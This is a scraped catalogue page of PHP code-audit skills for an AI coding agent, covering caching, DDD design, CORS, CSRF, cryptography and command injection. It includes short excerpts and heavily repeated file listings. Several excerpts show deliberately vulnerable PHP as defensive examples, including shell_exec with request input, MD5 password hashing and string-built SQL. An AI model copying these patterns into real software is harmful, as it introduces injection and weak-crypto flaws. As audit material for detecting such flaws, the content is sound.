The playbook
- Caching Strategies
- Cache Invalidation Approaches
- Multi-Level Caching
- Redis Data Structures for Caching
- Strategy Selection by Workload
- Detection Patterns
- Advanced Patterns
- References
Files
SKILL.mdcore8,122 bytesSKILL.mdcore8,122 bytesreferences/advanced-patterns.mddoc8,006 bytesreferences/redis-patterns.mddoc11,764 bytesreferences/strategies.mddoc10,399 bytes
Read SKILL.md
# Caching Strategies Knowledge Base
Quick reference for caching patterns, invalidation strategies, and Redis implementation guidelines. Focuses on caching theory and Redis patterns — for Cache-Aside code generation, see `create-cache-aside`.
## Caching Strategies
| Strategy | How It Works | Consistency | Performance | Use Case |
|----------|-------------|-------------|-------------|----------|
| Cache-Aside | App reads cache first, fetches from DB on miss, writes to cache | Eventual | Read-heavy | General purpose, most common |
| Read-Through | Cache itself fetches from DB on miss | Eventual | Read-heavy | Transparent caching layer |
| Write-Through | App writes to cache and DB synchronously | Strong | Write-heavy (slower writes) | Consistency-critical data |
| Write-Behind | App writes to cache, cache writes to DB asynchronously | Eventual | Write-heavy (fast writes) | High write throughput |
| Write-Around | App writes directly to DB, cache populated on read | Eventual | Infrequent-read data | Write-once, read-later |
View the complete source on GitHubchangelog-template
When your agent uses it
Generates CHANGELOG.md files following Keep a Changelog format. Creates version history documentation.
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
1,822 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Standard Format
- Section Guidelines
- Version Entry Template
- Complete Example
- Semantic Versioning Guide
- Writing Guidelines
- Generation Instructions
Files
SKILL.mdcore6,940 bytes
Read SKILL.md
# CHANGELOG Template Generator
Generate changelogs following the Keep a Changelog format.
## Standard Format
```markdown
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
View the complete source on GitHubcheck-12-factor-compliance
When your agent uses it
Analyzes PHP code for 12-Factor App compliance. Detects hardcoded configuration, file-based state, env-specific conditionals, non-streaming logs, and missing environment variable usage.
What it loads into context
Frontmatter
50 tokensAlways available to the agent
SKILL.md
2,884 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- 12-Factor Mapping
- Severity Classification
- Output Format
Files
SKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytesSKILL.mdcore12,077 bytes
Read SKILL.md
# 12-Factor App Compliance Check
Analyze PHP code for violations of the [12-Factor App](https://12factor.net/) methodology that hinder deployment, scalability, and operational excellence.
## Detection Patterns
### 1. Hardcoded Configuration (Factor III: Config)
```php
<?php
declare(strict_types=1);
// BAD: Configuration values embedded in source codeView the complete source on GitHubcheck-abstract-factory
When your agent uses it
Audits Abstract Factory pattern implementations. Checks family consistency, product hierarchy, factory method completeness, and cross-family compatibility.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,245 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Audit Checklist
- Correct Implementation
- Output Format
Files
SKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytesSKILL.mdcore6,000 bytes
Read SKILL.md
# Abstract Factory Pattern Audit
Analyze PHP code for Abstract Factory pattern compliance — ensuring consistent object families and proper product hierarchies.
## Detection Patterns
### 1. Missing Abstract Factory (Direct Instantiation of Families)
```php
// ANTIPATTERN: Creating related objects without factory
class NotificationService
{
public function send(string $type, string $message): void
{View the complete source on GitHubcheck-access-control-model
When your agent uses it
Analyzes PHP code for access control issues. Detects inline role checks, hardcoded permissions, mixed ACL/RBAC models, missing Voter/Policy pattern, and authorization logic in controllers.
What it loads into context
Frontmatter
48 tokensAlways available to the agent
SKILL.md
2,039 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytesSKILL.mdcore8,553 bytes
Read SKILL.md
# Access Control Model Check
Analyze PHP code for access control anti-patterns that lead to inconsistent authorization, privilege escalation, and unmaintainable permission logic.
## Detection Patterns
### 1. Inline Role Checks
```php
<?php
declare(strict_types=1);
// BAD: Hardcoded role check scattered across codeView the complete source on GitHubcheck-aggregate-consistency
When your agent uses it
Audits DDD aggregate design rules. Checks single transaction boundary, identity by root, invariant enforcement, small aggregates, and consistency boundaries.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,696 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytesSKILL.mdcore7,143 bytes
Read SKILL.md
# Aggregate Consistency Audit
Analyze PHP code for DDD aggregate design compliance — ensuring proper boundaries, invariant enforcement, and transactional consistency.
## Detection Patterns
### 1. Cross-Aggregate Transaction
```php
// CRITICAL: Multiple aggregates modified in single transaction
class TransferUseCase
{
public function execute(TransferCommand $command): void
{View the complete source on GitHubcheck-async-patterns
When your agent uses it
Detects synchronous operations that should be async. Identifies blocking email sends, in-request API calls, heavy processing in request cycle, and missing queue offloading.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,840 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytesSKILL.mdcore7,422 bytes
Read SKILL.md
# Async Patterns Audit
Analyze PHP code for synchronous operations that should be handled asynchronously to improve response times and system resilience.
## Detection Patterns
### 1. Email Sending in Request Cycle
```php
// CRITICAL: Blocking email send in HTTP request
class RegistrationController
{
public function register(Request $request): Response
{View the complete source on GitHubcheck-authentication
When your agent uses it
Analyzes PHP code for authentication issues. Detects weak password handling, insecure sessions, missing auth checks, token vulnerabilities.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,464 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytesSKILL.mdcore5,350 bytes
Read SKILL.md
# Authentication Security Check
Analyze PHP code for authentication vulnerabilities.
## Detection Patterns
### 1. Weak Password Handling
```php
// CRITICAL: Plain text password storage
$user->setPassword($_POST['password']);
// CRITICAL: Weak hashing (MD5, SHA1)
$hash = md5($password);View the complete source on GitHubcheck-authorization
When your agent uses it
Analyzes PHP code for authorization issues. Detects missing access control, IDOR vulnerabilities, privilege escalation, role-based access gaps.
What it loads into context
Frontmatter
35 tokensAlways available to the agent
SKILL.md
1,470 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytesSKILL.mdcore5,725 bytes
Read SKILL.md
# Authorization Security Check
Analyze PHP code for authorization and access control vulnerabilities.
## Detection Patterns
### 1. Missing Access Control Checks
```php
// CRITICAL: No authorization
public function deleteUser(int $id): Response
{
$user = $this->userRepository->find($id);
$this->userRepository->delete($user);View the complete source on GitHubcheck-batch-processing
When your agent uses it
Analyzes PHP code for batch processing issues. Detects single-item vs bulk operations, missing batch inserts, individual API calls in loops, transaction overhead.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,713 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Batch Size Guidelines
- Severity Classification
- Output Format
Files
SKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytesSKILL.mdcore6,317 bytes
Read SKILL.md
# Batch Processing Analysis
Analyze PHP code for batch processing opportunities.
## Detection Patterns
### 1. Single-Item vs Bulk Operations
```php
// SLOW: Individual inserts
foreach ($users as $user) {
$pdo->query("INSERT INTO users (name, email) VALUES ('$name', '$email')");
}
View the complete source on GitHubcheck-bounded-contexts
When your agent uses it
Analyzes bounded context boundaries in DDD projects. Detects cross-context coupling, shared kernel violations, context mapping issues, and ubiquitous language inconsistencies. Generates context map diagrams and boundary recommendations.
What it loads into context
Frontmatter
49 tokensAlways available to the agent
SKILL.md
2,656 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Bounded Context Concepts
- Detection Patterns
- Report Format
- Detected Contexts
- Critical Issues
- Warning Issues
- Context Relationship Matrix
- Recommendations
- Integration
- References
Files
SKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytesSKILL.mdcore10,681 bytes
Read SKILL.md
# Bounded Contexts Analyzer
## Overview
This skill analyzes PHP DDD projects for bounded context boundary issues, cross-context coupling, and context mapping violations.
## Bounded Context Concepts
| Concept | Definition | Violation Indicator |
|---------|------------|---------------------|
| Bounded Context | Explicit boundary with its own domain model | Missing namespace separation |
| Ubiquitous Language | Consistent terminology within context | Same term, different meanings |
| Context Map | Relationships between contexts | Unclear dependencies |
| Anti-Corruption Layer | Translation between contexts | Direct foreign model usage |View the complete source on GitHubcheck-caching-strategy
When your agent uses it
Analyzes PHP code for caching opportunities and issues. Detects missing cache, cache invalidation problems, over-caching, repeated expensive operations.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,759 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Caching Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytesSKILL.mdcore6,538 bytes
Read SKILL.md
# Caching Strategy Analysis
Analyze PHP code for caching opportunities and issues.
## Detection Patterns
### 1. Missing Cache Opportunities
```php
// CACHEABLE: Repeated expensive computation
public function getExchangeRate(string $currency): float
{
return $this->api->fetchRate($currency); // API call each time
}View the complete source on GitHubcheck-cascading-failures
When your agent uses it
Detects cascading failure risks in PHP systems. Identifies shared resources, unbounded queues, missing backpressure, thread pool exhaustion, and failure propagation paths.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
1,578 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytesSKILL.mdcore6,543 bytes
Read SKILL.md
# Cascading Failure Detection
Analyze PHP code for patterns that can cause cascading failures across services and components.
## Detection Patterns
### 1. Shared Resource Without Isolation
```php
// CRITICAL: Single connection pool shared by all services
final class DatabasePool
{
private static array $connections = [];
View the complete source on GitHubcheck-class-length
When your agent uses it
Analyzes PHP code for class length issues. Detects classes exceeding 300 lines, God class indicators, cohesion issues, SRP violations.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,817 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Thresholds
- Detection Patterns
- Metrics
- Refactoring Strategies
- Severity Classification
- Output Format
- When This Is Acceptable
Files
SKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytesSKILL.mdcore8,035 bytes
Read SKILL.md
# Class Length Check
Analyze PHP code for class size and cohesion issues.
## Detection Thresholds
| Lines | Classification |
|-------|----------------|
| 1-100 | ✅ Ideal |
| 101-200 | ⚠<U+FE0F> Acceptable |
| 201-300 | 🟡 Large - review needed |
| 301-500 | 🟠 Too large - split |
| 501+ | 🔴 God class - urgent refactoring |
View the complete source on GitHubcheck-code-style
When your agent uses it
Analyzes PHP code for style issues. Checks PSR-12 compliance, formatting consistency, whitespace usage, line length.
What it loads into context
Frontmatter
33 tokensAlways available to the agent
SKILL.md
1,278 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Automated Fixing
- Output Format
Files
SKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytesSKILL.mdcore4,582 bytes
Read SKILL.md
# Code Style Check
Analyze PHP code for style consistency and PSR-12 compliance.
## Detection Patterns
### 1. PSR-12 Violations
```php
// BAD: Opening brace on same line for class
class User {
}
// GOOD: Opening brace on new lineView the complete source on GitHubcheck-command-injection
When your agent uses it
Analyzes PHP code for command injection vulnerabilities. Detects shell_exec, exec, system, passthru with user input, missing escapeshellarg/escapeshellcmd.
What it loads into context
Frontmatter
45 tokensAlways available to the agent
SKILL.md
2,094 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Secure Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytesSKILL.mdcore7,610 bytes
Read SKILL.md
# Command Injection Security Check
Analyze PHP code for OS command injection vulnerabilities (OWASP A03:2021).
## Detection Patterns
### 1. Direct Command Execution with User Input
```php
// CRITICAL: shell_exec with user input
$output = shell_exec("ls " . $_GET['dir']);
$output = shell_exec("ping -c 3 {$host}");
// CRITICAL: exec with user inputView the complete source on GitHubcheck-comments
When your agent uses it
Analyzes PHP code for comment quality issues. Detects missing PHPDoc, outdated comments, commented-out code, opportunities for self-documenting code.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,399 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- PHPDoc Best Practices
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytesSKILL.mdcore5,573 bytes
Read SKILL.md
# Comment Quality Check
Analyze PHP code for documentation and comment issues.
## Detection Patterns
### 1. Missing PHPDoc
```php
// BAD: No documentation on public method
public function process(array $items, bool $force = false): Result
{
}
View the complete source on GitHubcheck-connection-pool
When your agent uses it
Analyzes PHP code for connection pool issues. Detects connection leaks, improper pool sizing, missing connection release, timeout issues.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
751 tokensWhen the skill is activated
Reference documents
2,268 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- Analysis Approach
- Detection Rules
- Grep Patterns
- Severity Classification
- Output Format
- References
Files
SKILL.mdcore3,311 bytesSKILL.mdcore3,311 bytesreferences/patterns.mddoc9,352 bytes
Read SKILL.md
# Connection Pool Performance Analysis
Analyze PHP code for connection pool issues and database connection management problems.
## When to Use
- Reviewing database-heavy PHP applications
- Investigating connection exhaustion or memory leaks
- Auditing long-running workers (queue consumers, daemons)
- Checking Doctrine EntityManager lifecycle issues
- Reviewing HTTP client usage patterns
## Analysis Approach
View the complete source on GitHubcheck-consistency
When your agent uses it
Analyzes PHP code for consistency issues. Detects mixed coding styles, inconsistent patterns, API inconsistencies, naming convention violations.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,784 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytesSKILL.mdcore7,477 bytes
Read SKILL.md
# Consistency Check
Analyze PHP code for consistency across the codebase.
## Detection Patterns
### 1. Mixed Coding Styles
```php
// INCONSISTENT: Different styles in same file/project
class UserService
{
// camelCase method
public function getUser() {}View the complete source on GitHubcheck-context-communication
When your agent uses it
Audits Bounded Context communication patterns. Checks Context Map relationships (Shared Kernel, ACL, Open Host), event vs direct calls, and anti-corruption layer usage.
What it loads into context
Frontmatter
42 tokensAlways available to the agent
SKILL.md
1,871 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Context Map Patterns Reference
- Output Format
Files
SKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytesSKILL.mdcore8,266 bytes
Read SKILL.md
# Context Communication Audit
Analyze PHP code for proper Bounded Context communication following DDD Context Map patterns.
## Detection Patterns
### 1. Direct Cross-Context Dependency
```php
// CRITICAL: Order context directly uses User context internals
namespace App\Order\Application;
use App\User\Domain\User; // Cross-context import!
use App\User\Domain\UserRepository; // Cross-context import!View the complete source on GitHubcheck-cors-security
When your agent uses it
Audits CORS configuration security. Detects wildcard origins, credentials with wildcards, dynamic origin reflection, missing preflight handling, and overly permissive policies.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,324 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytesSKILL.mdcore5,368 bytes
Read SKILL.md
# CORS Security Audit (A05:2021)
Analyze PHP code for CORS misconfiguration vulnerabilities.
## Detection Patterns
### 1. Wildcard Origin
```php
// CRITICAL: Allows any website to make requests
header('Access-Control-Allow-Origin: *');
// In framework config:
'allowed_origins' => ['*'], // Any origin!View the complete source on GitHubcheck-cqrs-alignment
When your agent uses it
Audits CQRS and Event Sourcing alignment. Checks command/query separation, projection idempotency, event store consistency, and read/write model synchronization.
What it loads into context
Frontmatter
41 tokensAlways available to the agent
SKILL.md
1,745 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytesSKILL.mdcore7,177 bytes
Read SKILL.md
# CQRS & Event Sourcing Alignment Audit
Analyze PHP code for proper CQRS implementation and Event Sourcing compliance.
## Detection Patterns
### 1. Command Returning Data
```php
// ANTIPATTERN: Command handler returns data (violates CQS)
final readonly class CreateOrderHandler
{
public function handle(CreateOrderCommand $command): OrderDTO // Returns data!
{View the complete source on GitHubcheck-crypto-usage
When your agent uses it
Analyzes PHP code for cryptography issues. Detects weak algorithms, hardcoded keys, insecure random, poor key management, deprecated functions.
What it loads into context
Frontmatter
39 tokensAlways available to the agent
SKILL.md
1,743 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytesSKILL.mdcore5,896 bytes
Read SKILL.md
# Cryptography Security Check
Analyze PHP code for cryptographic vulnerabilities.
## Detection Patterns
### 1. Weak Hashing Algorithms
```php
// CRITICAL: Broken for passwords
$hash = md5($password);
$hash = sha1($password);
$hash = hash('sha256', $password);
$hash = crypt($password, '$1$salt$'); // MD5-basedView the complete source on GitHubcheck-csrf-protection
When your agent uses it
Analyzes PHP code for CSRF vulnerabilities. Detects missing CSRF tokens, state-changing GET requests, token validation gaps.
What it loads into context
Frontmatter
37 tokensAlways available to the agent
SKILL.md
1,502 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Best Practices
- Output Format
Files
SKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytesSKILL.mdcore5,601 bytes
Read SKILL.md
# CSRF Protection Security Check
Analyze PHP code for Cross-Site Request Forgery vulnerabilities.
## Detection Patterns
### 1. Missing CSRF Tokens
```php
// CRITICAL: Form without CSRF token
<form method="POST" action="/transfer">
<input name="amount" value="1000">
<input name="to" value="attacker">
<button>Transfer</button>View the complete source on GitHubcheck-database-scaling
When your agent uses it
Analyzes PHP code for database scaling issues. Detects single DB connection for all queries, missing read replica configuration, SELECT queries hitting master, and missing connection pooling.
What it loads into context
Frontmatter
44 tokensAlways available to the agent
SKILL.md
2,255 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Severity Classification
- Output Format
Files
SKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytesSKILL.mdcore9,898 bytes
Read SKILL.md
# Database Scaling Check
Analyze PHP code for database access patterns that prevent horizontal scaling, overload the primary database, and miss read replica offloading opportunities.
## Detection Patterns
### 1. Single DB Connection for All Queries
```php
<?php
declare(strict_types=1);
// BAD: All queries use the same connectionView the complete source on GitHubcheck-dependency-injection
When your agent uses it
Analyzes PHP code for dependency injection issues. Detects constructor injection usage, interface dependencies, service locator antipattern, new keyword in business logic.
What it loads into context
Frontmatter
40 tokensAlways available to the agent
SKILL.md
1,524 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Detection Patterns
- Grep Patterns
- Acceptable Uses of New
- Severity Classification
- Output Format
Files
SKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytesSKILL.mdcore6,371 bytes
Read SKILL.md
# Dependency Injection Check
Analyze PHP code for proper dependency injection patterns.
## Detection Patterns
### 1. New Keyword in Business Logic
```php
